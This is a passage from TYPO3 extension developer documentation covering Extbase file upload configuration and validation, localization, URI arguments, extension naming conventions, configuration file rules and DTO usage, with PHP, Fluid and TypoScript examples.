  • duplicationBehavior ( object, behaviour when file exists)
  • addRandomSuffix ( bool, suffixing files)
  • createUploadFolderIfNotExist ( bool, whether to create missing directories)

It is also possible to use the FileUpload annotation to configure file upload properties, but it is recommended to use the FileUpload attribute due to better readability.

Manual file upload configuration

A file upload configuration can also be created manually and should be done in the initialize*Action.

Example:

Excerpt of an Extbase controller class
public function initializeCreateAction(): void
{
    $mimeTypeValidator = GeneralUtility::makeInstance(MimeTypeValidator::class);
    $mimeTypeValidator->setOptions(['allowedMimeTypes' => ['image/jpeg']]);

    $fileHandlingServiceConfiguration = $this->arguments->getArgument('myArgument')->getFileHandlingServiceConfiguration();
    $fileHandlingServiceConfiguration->addFileUploadConfiguration(
        (new FileUploadConfiguration('myPropertyName'))
            ->setRequired()
            ->addValidator($mimeTypeValidator)
            ->setMaxFiles(1)
            ->setUploadFolder('1:/user_upload/files/')
    );

    $this->arguments->getArgument('myArgument')->getPropertyMappingConfiguration()->skipProperties('myPropertyName');
}
Copied!

Configuration options for file uploads

The configuration for a file upload is defined in a FileUploadConfiguration object.

This object contains the following configuration options.

Property name:

Defines the name of the property of a domain model to which the file upload configuration applies. The value is automatically retrieved when using the FileUpload attribute. If the FileUploadConfiguration object is created manually, it must be set using the $propertyName constructor argument.

Validation:

File upload validation is defined in an array of validators in the FileUploadConfiguration object. The validator \TYPO3\CMS\Extbase\Validation\Validator\FileNameValidator , which ensures that no executable PHP files can be uploaded, is added by default if the file upload configuration object is created using the FileUpload attribute.

In addition, Extbase includes the following validators to validate an UploadedFile object:

  • \TYPO3\CMS\Extbase\Validation\Validator\FileSizeValidator
  • \TYPO3\CMS\Extbase\Validation\Validator\MimeTypeValidator
  • \TYPO3\CMS\Extbase\Validation\Validator\ImageDimensionsValidator

Those validators can either be configured with the FileUpload attribute or added manually to the configuration object with the addValidator() method.

Required

Defines whether a file must be uploaded. If it is set to true, the minFiles configuration is set to 1.

Minimum files

Defines the minimum amount of files to be uploaded.

Maximum files

Defines the maximum amount of files to be uploaded.

Upload folder

Defines the upload path for the file upload. This configuration expects a storage identifier (e.g. 1:/user_upload/folder/). If the given target folder in the storage does not exist, it is created automatically.

Upload folder creation, when missing

The default creation of a missing storage folder can be disabled via the property createUploadFolderIfNotExist of the #[FileUpload([...])] attribute ( bool, default true).

Add random suffix

When enabled, the filename of an uploaded and persisted file will contain a random 16 char suffix. As an example, an uploaded file named job-application.pdf will be persisted as job-application-<random-hash>.pdf in the upload folder.

The default value for this configuration is true and it is recommended to keep this configuration active.

This configuration only has an effect when uploaded files are persisted.

Duplication behavior

Defines the FAL behavior, when a file with the same name exists in the target folder. Possible values are \TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::RENAME (default), \TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::REPLACE and \TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::CANCEL.

Modifying existing configuration

File upload configuration defined by the FileUpload attribute can be changed in the initialize*Action.

Example:

Excerpt of an Extbase controller class
public function initializeCreateAction(): void
{
    $validator = GeneralUtility::makeInstance(MyCustomValidator::class);

    $argument = $this->arguments->getArgument('myArgument');
    $configuration = $argument->getFileHandlingServiceConfiguration()->getFileUploadConfigurationForProperty('file');
    $configuration?->setMinFiles(2);
    $configuration?->addValidator($validator);
    $configuration?->setUploadFolder('1:/user_upload/custom_folder');
}
Copied!

The example shows how to modify the file upload configuration for the argument item and the property file. The minimum amount of files to be uploaded is set to 2 and a custom validator is added.

To remove all defined validators except the DenyPhpUploadValidator, use the resetValidators() method.

Using TypoScript configuration for file uploads configuration

When a file upload configuration for a property has been added using the FileUpload attribute, it may be required make the upload folder or other configuration options configurable with TypoScript.

Extension authors should use the initialize*Action to apply settings from TypoScript to a file upload configuration.

Example:

Exercept of an Extbase controller class
public function initializeCreateAction(): void
{
    $argument = $this->arguments->getArgument('myArgument');
    $configuration = $argument->getFileHandlingServiceConfiguration()->getConfigurationForProperty('file');
    $configuration?->setUploadFolder($this->settings['uploadFolder'] ?? '1:/fallback_folder');
}
Copied!

File upload validation

Each uploaded file can be validated against a configurable set of validators. The validation section of the FileUpload attribute allows to configure commonly used validators using a configuration shorthand.

The following validation rules can be configured in the validation section of the FileUpload attribute:

  • required
  • minFiles
  • maxFiles
  • fileSize
  • allowedMimeTypes
  • imageDimensions

Example:

Excerpt of an attribute withhin an Extbase domain model class
#[FileUpload([
    'validation' => [
        'required' => true,
        'maxFiles' => 1,
        'fileSize' => ['minimum' => '0K', 'maximum' => '2M'],
        'allowedMimeTypes' => ['image/jpeg'],
        'imageDimensions' => ['maxWidth' => 4096, 'maxHeight' => 4096]
    ],
    'uploadFolder' => '1:/user_upload/extbase_single_file/',
])]
Copied!

Extbase will internally use the Extbase file upload validators for fileSize, allowedMimeTypes and imageDimensions validation.

Custom validators can be created according to project requirements and must extend the Extbase AbstractValidator . The value to be validated is always a PSR-7 UploadedFile object. Custom validators can however not be used in the FileUpload attribute and must be configured manually.

Deletion of uploaded files and file references

The new Fluid ViewHelper Form.uploadDeleteCheckbox ViewHelper <f:form.uploadDeleteCheckbox> can be used to show a "delete file" checkbox in a form.

Example for object with FileReference property:

Fluid code example
<f:form.uploadDeleteCheckbox property="file" fileReference="{object.file}" />
Copied!

Example for an object with an ObjectStorage<FileReference> property, containing multiple files and allowing to delete the first one (iteration is possible within Fluid, to do that for every object of the collection):

Fluid code example
<f:form.uploadDeleteCheckbox property="file.0" fileReference="{object.file}" />
Copied!

Extbase will then handle file deletion(s) before persisting a validated object. It will:

  • validate that minimum and maximum file upload configuration for the affected property is fulfilled (only if the property has a FileUpload )
  • delete the affected sys_file_reference record
  • delete the affected file

Internally, Extbase uses FileUploadDeletionConfiguration objects to track file deletions for properties of arguments. Files are deleted directly without checking whether the current file is referenced by other objects.

Apart from using this ViewHelper, it is of course still possible to manipulate FileReference properties with custom logic before persistence.

ModifyUploadedFileTargetFilenameEvent

The ModifyUploadedFileTargetFilenameEvent allows event listeners to alter a filename of an uploaded file before it is persisted.

Event listeners can use the method getTargetFilename() to retrieve the filename used for persistence of a configured uploaded file. The filename can then be adjusted via setTargetFilename(). The relevant configuration can be retrieved via getConfiguration().

Multi-step form handling

The implementation of the file upload feature in Extbase intentionally requires to handle the FileUpload directly within the validation/persistence step of a controller action.

If you have a multi-step process in place, where the final persistence of a domain model object is only performed later on, you will need to deal with the created files.

For example, you may want to implement a preview before the final domain model entity is persisted.

Some possible ways to deal with this:

  • Implement the file handling as a DTO. The key idea here is to decouple the uploaded file into its own domain model object. You can pass that along (including its persistence identity) from one form step to the next, and only in the final step you would take care of transferring the data of this DTO into your actual domain model, and attach the FileReference object.
  • Or use client-side JavaScript. You could create a stub in your Fluid template that has placeholders for user-specified data, and then fills the actual data (before the form is submitted) into these placeholders. You can use the JavaScript FileReader() object to access and render uploaded files.

Caching in Extbase plugins

Extbase clears the TYPO3 cache automatically for update processes. This is called Automatic cache clearing. This functionality is activated by default. If a domain object is inserted, changed, or deleted, then the cache of the corresponding page in which the object is located is cleared. Additionally the setting of TSConfig TCEMAIN.clearCacheCmd is evaluated for this page.

The frontend plugin is on the page Blog with uid=11. As a storage folder for all the Blogs and Posts the SysFolder BLOGS is configured. If an entry is changed, the cache of the SysFolder BLOGS is emptied and also the TSConfig configuration TCEMAIN.clearCacheCmd for the SysFolder is evaluated. This contains a comma-separated list of Page IDs, for which the cache should be emptied. In this case, when updating a record in the SysFolder BLOGS (e.g., Blogs, Posts, Comments), the cache of the page Blog, with uid=11, is cleared automatically, so the changes are immediately visible.

Even if the user enters incorrect data in a form (and this form will be displayed again), the cache of the current page is deleted to force a new representation of the form.

The automatic cache clearing is enabled by default, you can use the TypoScript configuration persistence.enableAutomaticCacheClearing to disable it.

Localization

Multilingual websites are widespread nowadays, which means that the web-available texts have to be localized. Extbase provides the helper class \TYPO3\CMS\Extbase\Utility\LocalizationUtility for the translation of the labels. Besides, there is the Fluid ViewHelper <f:translate>, with the help of whom you can use that functionality in templates.

The localization class has only one public static method called translate, which does all the translation. The method can be called like this:

EXT:my_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

$someString = LocalizationUtility::translate($key, $extensionName, $arguments);
Copied!
$key
The identifier to be translated. If the format LLL:path:key is given, then this identifier is used, and the parameter $extensionName is ignored. Otherwise, the file Resources/Private/Language/locallang.xlf from the given extension is loaded, and the resulting text for the given key in the current language returned.
$extensionName
The extension name. It can be fetched from the request.
$arguments

It allows you to specify an array of arguments. In the LocalizationUtility, these arguments will be passed to the function vsprintf. So you can insert dynamic values in every translation. You can find the possible wildcard specifiers under https://www.php.net/manual/function.sprintf.php#refsect1-function.sprintf-parameters.

Example language file with inserted wildcards

EXT:my_extension/Resources/Private/Language/locallang.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.0" xmlns="urn:oasis:names:tc:xliff:document:1.1">
    <file source-language="en" datatype="plaintext" original="messages" date="..." product-name="...">
        <header/>
        <body>
            <trans-unit id="count_posts">
                <source>You have %d posts with %d comments written.</source>
            </trans-unit>
            <trans-unit id="greeting">
                <source>Hello %s!</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

Called translations with arguments to fill data in wildcards

EXT:my_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

$someString = LocalizationUtility::translate('count_posts', 'BlogExample', [$countPosts, $countComments])

$anotherString = LocalizationUtility::translate('greeting', 'BlogExample', [$userName])
Copied!

URI arguments and reserved keywords

Extbase uses special URI arguments to pass variables to Controller arguments and the framework itself.

Extbase uses a prefixed URI argument scheme that relies on plugin configuration.

For example, the example extension EXT:blog_example would use:

// Linebreaks just for readability.
https://example.org/blog/?tx_blogexample_bloglist[action]=show
&tx_blogexample_bloglist[controller]=Post
&tx_blogexample_bloglist[post]=4711
&cHash=...

// Actually, the [] parameters are often URI encoded, so this is emitted:
https://example.org/blog/?tx_blogexample_bloglist%5Baction%5D=show
&tx_blogexample_bloglist%5Bcontroller%5D=Post
&tx_blogexample_bloglist%5Bpost%5D=4711
&cHash=...
Copied!

as the created URI to execute the showAction of the Controller PostController within the plugin BlogList.

The following arguments are evaluated:

tx_(extensionName)_(pluginName)[action]:
Controller action to execute
tx_(extensionName)_(pluginName)[controller]
Controller containing the action
tx_(extensionName)_(pluginName)[format]
Output format (usually html, can also be json or custom types)
cHash
the cHash always gets calculated to validate that the URI is allowed to be called. (see Caching variants - or: What is a "cache hash"?)

Any other argument will be passed along to the controller action and can be retrieved via $this->request->getArgument(). Usually this is auto-wired by the automatic parameter mapping of Extbase.

These URI arguments can also be used for the routing configuration, see Extbase plugin enhancer.

When submitting a HTML <form>, the same URI arguments will be part of a HTTP POST request, with some more special ones:

tx_(extensionName)_(pluginName)[__referrer]
An array with information of the referring call (subkeys: @extension, @controller, @action,

arguments (hashed), @request (json)

tx_(extensionName)_(pluginName)[__trustedProperties]
List of properties to be submitted to an action (hashed and secured)

These two keys are also regarded as reserved keywords. Generally, you should avoid custom arguments interfering with either the @... or __... prefix notation.

Extbase Examples

Example extensions

Tea example

The extension ttn/tea , is based on Extbase and Fluid. The extension features a range of best practices in relation to automated code checks, unit/functional/acceptance testing and continuous integration.

You can also use this extension to manage your collection of delicious teas.

Blog example

The extension t3docs/blog-example contains working examples of all the features documented in the Extbase Reference manual.

This extension should not be used as a base for building your own extension or used to blog in a live environment.

If you want to set up a blog, take a look at the t3docs/blog-example extension or combine georgringer/news with a comment extension of your choice.

Real-world examples

Backend user module

In the TYPO3 Core, the system extension typo3/cms-beuser has backend modules based on Extbase. It can therefore be used as a guide on how to develop backend modules with Extbase.

News

georgringer/news implements a versatile news system based on Extbase & Fluid and uses the latest technologies provided by the Core.

Choosing an extension key

The "extension key" is a string that uniquely identifies the extension. The folder in which the extension is located is named by this string.

Rules for the Extension Key

The extension key must comply with the following rules:

  • It can contain characters a-z, 0-9 and underscore
  • No uppercase characters should be used (folder, file and table/field names remain in lowercase).
  • Furthermore the key must not start with any of these (these are prefixes used for modules):

    • tx
    • user_
    • pages
    • tt_
    • sys_
    • ts_language
    • csh_
  • The key may not start with a number. Also an underscore at the beginning or the end is not allowed.
  • The length must be between 3 and 30 characters (underscores not included).
  • The extension key must still be unique even if underscores are removed, since backend modules that refer to the extension should be named by the extension key without underscores. (Underscores are allowed to make the extension key easy to read).

The naming conventions of extension keys are automatically validated when they are registered in the repository, so you do not have to worry about this.

There are two ways to name an extension:

  • Project specific extensions (not generally usable or shareable): Select any name you like and prepend it "user_" (which is the only allowed use of a key starting with "u"). This prefix denotes that it is a local extension that does not originate from the central TYPO3 Extension Repository or is ever intended for sharing. Probably this is an "adhoc" extension you made for some special occasion.
  • General extensions: Register an extension name online at the TYPO3 Extension Repository. Your extension name will be validated automatically and you are sure to have a unique name will be returned which no one else in the world will use. This makes it very easy to share your extension later on with everyone else as it ensures that no conflicts will occur with other extensions. But by default, a new extension you make is defined as "private", which means no one else but you have access to it until you permit it to be public. It's free of charge to register an extension name. By definition, all code in the TYPO3 Extension Repository is covered by the GPL license because it interfaces with TYPO3. You should really consider making general extensions!

About GPL and extensions

Remember that TYPO3 is GPL software and at the same moment when you extend TYPO3, your extensions are legally covered by GPL. This does not force you to share your extension, but it should inspire you to do so and legally you cannot prevent anyone who gets hold of your extension code from using it and further develop it. The TYPO3 Extension API is designed to make sharing of your work easy as well as using others' work easy. Remember TYPO3 is Open Source Software and we rely on each other in the community to develop it further.

Security

You are responsible for security issues in your extensions. People may report security issues either directly to you or to the TYPO3 Security Team. In any case, you should get in touch with the Security Team which will validate the security fixes. They will also include information about your (fixed) extension in their next Security bulletin. If you don't respond to requests from the Security Team, your extension will be removed by force from the TYPO3 Extension Repository.

More details on the security team's policy on handling security issues can be found at https://typo3.org/teams/security/extension-security-policy/.

Registering an extension key

Before starting a new extension you should register an extension key on extensions.typo3.org (unless you plan to make an implementation-specific extension – of course – which does not make sense to share).

Go to extensions.typo3.org, log in with your (pre-created) username/password and navigate to My Extensions in the menu. Click on the Register extension key tab. On that page enter the extension key you want to register.

The extension key registration form

The extension key registration form

Naming conventions

The first thing you should decide on is the extension key for your extension and the vendor name. A significant part of the names below are based on the extension key.

Abbreviations & Glossary

UpperCamelCase
UpperCamelCase begins with a capital letter and begins all following subparts of a word with a capital letter. The rest of each word is in lowercase with no spaces, e.g. CoolShop.
lowerCamelCase
lowerCamelCase is the same as UpperCamelCase, but begins with a lowercase letter.
TER
The "TYPO3 Extension Repository": A catalogue of extensions where you can find information about extensions and where you can search and filter by TYPO3 version etc. Once registered on https://my.typo3.org, you can login and register an extension key for your extension in https://extensions.typo3.org My Extensions.
extkey
The extension key as is (e.g. 'my_extension').
extkeyprefix
The extension key with stripped away underscores (e.g. extkey='my_extension' becomes extkeyprefix='myextension').
ExtensionName

The term ExtensionName means the extension key in UpperCamelCase.

Example: for an extkey bootstrap_package the ExtensionName would be BootstrapPackage.

The ExtensionName is used as first parameter in the Extbase method ExtensionUtility::configurePlugin() and as value for the extensionName key when registering a backend module.

modkey
The backend module key.
Public extensions
Public extensions are publicly available. They are usually registered in TER and available via Packagist.
Private extensions
These are not published to the TER or Packagist.

Some of these "Conventions" are actually mandatory, meaning you will most likely run into problems if you do not adhere to them.

We very strongly recommend to always use these naming conventions. Hard requirements are emphasized by using the words MUST, etc. as specified in RFC 2119. SHOULD or MAY indicate a soft requirement: strongly recommended but will usually work, even if you do not follow the conventions.

Extension key (extkey)

The extension key (extkey) is used as is in:

  • directory name of extension in typo3conf/ext (or typo3/sysext for system extensions)

Derived names are:

  • package name in composer.json <vendor-name>/<package-name>. Underscores (_) should be replaced by dashes (-)
  • namespaces: Underscores in the extension key are removed by converting the extension key to UpperCamelCase in namespaces (e.g. cool_shop becomes MyVendor\CoolShop).
  1. The extkey MUST be unique within your installation.
  2. The extkey MUST be made up of lowercase alphanumeric characters and underscores only and MUST start with a letter.
  3. More, see extension key
Examples for extkeys:
  • cool_shop
  • blog

Examples for names that are derived from the extkey:

Here, the extkey is my_extension:

  • namespace: MyVendor\MyExtension\...
  • package name in composer.json: vendor-name/my-extension (the underscore is replaced by a dash)

Vendor name

The vendor name is used in:

  • namespaces
  • package name in composer.json, e.g. myvendor/cool-shop (all lowercase)

Use common PHP naming conventions for vendor names in namespaces and check PSR-0. There are currently no strict rules, but commonly used vendor names begin with a capital letter, followed by all lowercase.

The vendor name (as well as the extkey) is spelled with all lowercase when used in the package name in the file composer.json

For the following examples, we assume:

  • the vendor name is MyCompany
  • the extkey is my_example
Examples:
  • Namespace: MyCompany\MyExample\...
  • package name (in composer.json): my-company/my-example

Database table name

These rules apply to public extensions, but should be followed nevertheless.

Database table names should follow this pattern:

tx_<extkeyprefix>_<table_name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <table_name> should clearly describe the purpose of the table

Examples for an extension named cool_shop:

  • tx_coolshop_product
  • tx_coolshop_category

Extbase domain model tables

Extbase domain model tables should follow this pattern:

tx_<extkeyprefix>_domain_model_<model-name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <model-name> should match the domain model name

Examples for Extbase domain models and table names of an extension named cool_shop:

Domain model Table name
\Vendor\BlogExample\Domain\Model\Post \Vendor\CoolShop\Domain\Model\Tag \Vendor\CoolShop\Domain\Model\ProcessedOrder \Vendor\CoolShop\Domain\Model\Billing\Address tx_blogexample_domain_model_post tx_coolshop_domain_model_tag tx_coolshop_domain_model_processedorder tx_coolshop_domain_model_billing_address

MM-tables for multiple-multiple relations between tables

MM tables (for multiple-multiple relations between tables) follow these rules.

Extbase:

# rule for Extbase
tx_<extkeyprefix>_domain_model_<model-name-1>_<model-name-2>_mm
# example: EXT:blog with relation between post and comment
tx_blogexample_domain_model_post_comment_mm
Copied!

Non-Extbase tables usually use a similar rule, without the "domain_model" part:

# recommendation for non-Extbase third party extensions
tx_<extkeyprefix>_<model-1>_<model-2>_mm
# Example
tx_myextension_address_category_mm

# example for TYPO3 core:
sys_category_record_mm
Copied!

Database column name

When extending a common table like tt_content, column names SHOULD follow this pattern:

tx_<extkeyprefix>_<column-name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <column-name> should clearly describe the purpose of the column

Backend module key (modkey)

The main module key SHOULD contain only lowercase characters. Do not use an underscore or dash.

The submodule key MUST be made up of alphanumeric characters only. It MAY contain underscores and MUST start with a letter.

Example:
  • Coolshop

Example usage:

EXT:my_extension/Configuration/Backend/Modules.php
return [
    // Submodule key
    'web_productmanagement' => [
        // Main module key (use existing main module 'web' here)
        'parent' => 'web',
        // ...
    ],
];
Copied!

For more details have a look into the Modules.php - Backend module configuration chapter.

Backend module signature

The backend module signature is a derived identifier which is constructed by TYPO3 when the module is registered.

The signature is usually constructed by using the main module key and submodule key, separated by an underscore. Conversions, such as underscore to UpperCamelCase or conversions to lowercase may be applied in this process.

Examples (from TYPO3 Core extensions):

  • web_info
  • web_FormFormbuilder
  • site_redirects

Plugin signature

Changed in version 14.0

Adding frontend plugins as a "General Plugin", setting the content record CType to 'list' and list_type to the plugin signature is not possible anymore. See Migration: list_type plugins to CType.

The plugin signature of non-Extbase plugins, registered via ExtensionManagementUtility::addPlugin() is an arbitrarily defined string. By convention it should always be the extension name with all underscores removed followed by one underscore and then a lowercase, alphanumeric plugin key. Examples: "myextension_coolplugin", "examples_pi1".

Extbase based plugins are registered via ExtensionUtility::registerPlugin(). This method expects the extension key (UpperCamelCase or with underscores) as the first parameter and a plugin name in UpperCamelCase (for example "Pi1" or "CoolPlugin"). The method then returns the new plugin signature.

If you have to write the signature yourself in other contexts (TypoScript for example) you can build it yourself from the extension name and the plugin name:

For this, all underscores in the extension key are omitted and all characters set to lowercase. The extension key and plugin key are separated by an underscore (_).

Example:

Plugin name and Plugin key listed
$extensionName = 'my_extension';
$pluginName = 'MyCoolPlugin';
$pluginSignature = "myextension_mycoolplugin"
Copied!

The plugin signature is used in:

  • the database field tt_content.CType
  • when defining a FlexForm to be used for the plugin in addPiFlexFormValue()
  • in TypoScript, plugin.tx_myexample_myplugin to define settings for the plugin etc.
  • As record type in TCA. It can therefore be used to define which fields should be visible in the TYPO3 backend.

Example register and configure a non-Extbase plugin:

EXT:examples/Configuration/TCA/Overrides/tt_content_plugin_htmlparser.php
<?php

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

$pluginSignature = 'examples_pi1';
$pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tt_content.list_type_pi1';
$extensionKey = 'examples';

// Add the plugins to the list of plugins
ExtensionManagementUtility::addPlugin(
    [
        $pluginTitle,
        $pluginSignature,
    ],
);

ExtensionManagementUtility::addToAllTCAtypes(
    'tt_content',
    '--div--;Configuration,pi_flexform,',
    $pluginSignature,
    'after:header',
);

ExtensionManagementUtility::addPiFlexFormValue(
    '*',
    'FILE:EXT:example/Configuration/FlexForms/Registration.xml',
    $pluginSignature,
);
Copied!
EXT:examples/Configuration/setup.typoscript
plugin.tx_examples_pi1 {
  settings.pageId = 42
}
Copied!

Plugin key (Extbase only)

The plugin key is registered in:

  • second parameter in ExtensionUtility::registerPlugin()

The same plugin key is then used in the following:

  • second parameter in ExtensionUtility::configurePlugin()

The plugin key can be freely chosen by the extension author, but you should follow these conventions:

  • do not use underscore
  • use UpperCamelCase, e.g. InventoryList
  • use alphanumeric characters

For the plugin key, Pi1, Pi2 etc. are often used, but it can be named differently.

The plugin key used in registerPlugin() and configurePlugin() must match or the later method will fail.

Example register and configure an Extbase plugin:

EXT:examples/Configuration/TCA/Overrides/tt_content_plugin_htmlparser.php
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

$extensionKey = 'Examples';
$pluginName = 'HtmlParser';
$pluginTitle = 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf:htmlparser_plugin_title';

$pluginSignature = ExtensionUtility::registerPlugin(
    $extensionKey,
    $pluginName,
    $pluginTitle
);

// $pluginSignature == "examples_htmlparser"

ExtensionManagementUtility::addToAllTCAtypes(
    'tt_content',
    '--div--;Configuration,pi_flexform,',
    $pluginSignature,
    'after:subheader',
);

ExtensionManagementUtility::addPiFlexFormValue(
    '*',
    'FILE:EXT:example/Configuration/FlexForms/Registration.xml',
    $pluginSignature,
);
Copied!
EXT:examples/ext_localconf.php
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::configurePlugin(
    'Examples',
    'HtmlParser',
    [
        \T3docs\Examples\Controller\HtmlParserController::class => 'index',
    ],
    ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,
);
Copied!
EXT:examples/Configuration/setup.typoscript
plugin.tx_examples_htmlparser {
  settings.pageId = 42
}
Copied!

Class name

Class names SHOULD be in UpperCamelCase.

Examples:
  • CodeCompletionController
  • AjaxController

Upgrade wizard identifier

You SHOULD use the following naming convention for the identifier:

extKey_wizardName

This is not enforced.

Please see Wizard identifier in the Upgrade Wizard chapter for further explanations.

Note on "old" extensions

Some the "classic" extensions from before the extension structure came about do not comply with these naming conventions. That is an exception made for backwards compatibility. The assignment of new keys from the TYPO3 Extension Repository will make sure that any of these old names are not accidentally reassigned to new extensions.

Furthermore, some of the classic plugins (tt_board, tt_guest etc) use the "user_" prefix for their classes as well.

Further reading

Configuration Files (ext_tables.php & ext_localconf.php)

The files ext_tables.php and ext_localconf.php contain configuration used by the system and in requests. They should therefore be optimized for speed.

See File structure for a full list of file and directory names typically used in extensions.

Rules and best practices

The following apply for both ext_tables.php and ext_localconf.php.

As a rule of thumb: Your ext_tables.php and ext_localconf.php files must be designed in a way that they can safely be read and subsequently imploded into one single file with all configuration of other extensions.

  • You must not use a return statement in the file's global scope - that would make the cached script concept break.
  • You must not rely on the PHP constant __FILE__ for detection of the include path of the script - the configuration might be executed from a cached file with a different location and therefore such information should be derived from, for example, \TYPO3\CMS\Core\Utility\GeneralUtility::getFileAbsFileName() or \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::extPath().
  • You must not wrap the file in a local namespace. This will result in nested namespaces.

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    -namespace {
    -}
    Copied!
  • You can use use statements starting with TYPO3 v11.4:

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // you can use use:
    +use TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect;
    +
    +$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =
    +   FileMetadataPermissionsAspect::class;
    // Instead of the full class name:
    -$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =
    -   \TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect::class;
    Copied!
  • You can use declare(strict_types=1) and similar directives which must be placed at the very top of files. They will be stripped and added once in the concatenated cache file.

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // You can use declare strict and other directives
    // which must be placed at the top of the file
    +declare(strict_types=1);
    Copied!
  • You must not check for values of the removed TYPO3_MODE or TYPO3_REQUESTTYPE constants (for example, if (TYPO3_MODE === 'BE')) or use the \TYPO3\CMS\Core\Http\ApplicationType enum within these files as it limits the functionality to cache the whole configuration of the system. Any extension author should remove the checks, and re-evaluate if these context-depending checks could go inside the hooks / caller function directly, for example, do not:

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // do NOT do this:
    -if (TYPO3_MODE === 'BE')
    Copied!
  • You should check for the existence of the constant defined('TYPO3') or die(); at the top of ext_tables.php and ext_localconf.php files right after the use statements to make sure the file is executed only indirectly within TYPO3 context. This is a security measure since this code in global scope should not be executed through the web server directly as entry point.

    EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    <?php
    declare(strict_types=1);
    
    use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
    
    // put this at top of every ext_tables.php and ext_localconf.php right after
    // the use statements
    defined('TYPO3') or die();
    Copied!
  • You must use the extension name (for example, "tt_address") instead of $_EXTKEY within the two configuration files as this variable is no longer loaded automatically.
  • However, due to limitations in the TYPO3 Extension Repository, the $_EXTKEY option must be kept within an extension's ext_emconf.php file.
  • You do not have to use a directly called closure function after dropping TYPO3 v10.4 support.

The following example contains the complete code:

EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\MyClass;

defined('TYPO3') or die();

// Add your code here
MyClass::doSomething();
Copied!

Additionally, it is possible to extend TYPO3 in a lot of different ways (adding TCA, backend routes, Symfony console commands, etc), which do not need to touch these files.

Software Design Principles

The following principles are considered best practices and are good to know when you develop extensions for TYPO3.

We also recommend to study common software design patterns.

DTO / Data Transfer Objects

A very common pattern in Extbase extensions is a "DTO" ("Data Transfer Object").

A DTO is an instance of a basic class that usually only has a constructor, getters and setters. It is not meant to be an extension of an Extbase AbstractEntity.

This DTO serves as pure data storage. You can use it to receive and retrieve data in a <f:form> fluid CRUD ("Create Read Update Delete") setup.

Later on, the DTO can be accessed and converted into a "proper" Extbase domain model entity: The DTO getters retrieve the data, and the Extbase domain model entity's setters receive that data:

Example of DTO and AbstractEntity used in an Extbase controller
<?php

declare(strict_types=1);

// The actual "plain" DTO, just setters and getters
class PersonDTO
{
    protected string $first_name;
    protected string $last_name;

    public function getFirstName(): string
    {
        return $this->first_name;
    }

    public function setFirstName(string $first_name): void
    {
        $this->first_name = $first_name;
    }

    public function getLastName(): string
    {
        return $this->last_name;
    }

    public function setLastName(string $last_name): void
    {
        $this->last_name = $last_name;
    }
}

// The Extbase domain model entity.
// Note that the getters and setters can easily be mapped
// to the DTO due to their same names!
class Person extends \TYPO3\CMS\Extbase\DomainObject\AbstractEntity
{
    protected string $first_name;
    protected string $last_name;

    public function getFirstName(): string
    {
        return $this->first_name;
    }

    public function setFirstName(string $first_name): void
    {
        $this->first_name = $first_name;
    }

    public function getLastName(): string
    {
        return $this->last_name;
    }

    public function setLastName(string $last_name): void
    {
        $this->last_name = $last_name;
    }
}

// An Extbase controller utilizing DTO-to-entity transfer
class DtoController extends TYPO3\CMS\Extbase\Mvc\Controller\ActionController
{
    public function __construct(protected MyVendor\MyExtension\Domain\Repository\PersonRepository $personRepository) {}

    public function createAction(): Psr\Http\Message\ResponseInterface
    {
        // Set up a DTO to be filled with input data.
        // The Fluid template would use <f:form> and its helpers.
        $this->view->assign('personDTO', new PersonDTO());
    }

    public function saveAction(PersonDTO $personDTO): Psr\Http\Message\ResponseInterface
    {
        // Transfer all data to a proper Extbase entity.
        // Create an empty entity first:
        $person = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(Person::class);

        // Use setters/getters for propagation
        $person->setFirstName($personDTO->getFirstName());
        $person->setLastName($personDTO->getLastName());

        // Persist the extbase entity
        $this->personRepository->add($person);

        // The "old" DTO needs to further processing.
    }
}
Copied!

DTOs are helpful because:

  • They allow to decouple pure data from processed/validated data in entities.
  • They allow to structure data into distinct data models.
  • They allow to use good type hinting and using setters/getters instead of using untyped and unstructured PHP arrays for data storage.
  • They can be used to hide implementation details of your actual entities by transferring data like filter settings that internally gets applied to actual data models.

Some more reading:

Extension loading order

In TYPO3, the order in which extensions are loaded can impact system behavior. This is especially important when an extension overrides, extends, or modifies the functionality of another. TYPO3 initializes extensions in a defined order, and if dependencies are not loaded beforehand, it can lead to unintended behavior.

Composer-based installations: Loading order via composer.json

In Composer-based installations, extensions and dependencies are installed based on the configuration in the composer.json file.

For example, if an extension relies on or modifies functionality provided by the ext:felogin system extension, the dependency should be defined as follows:

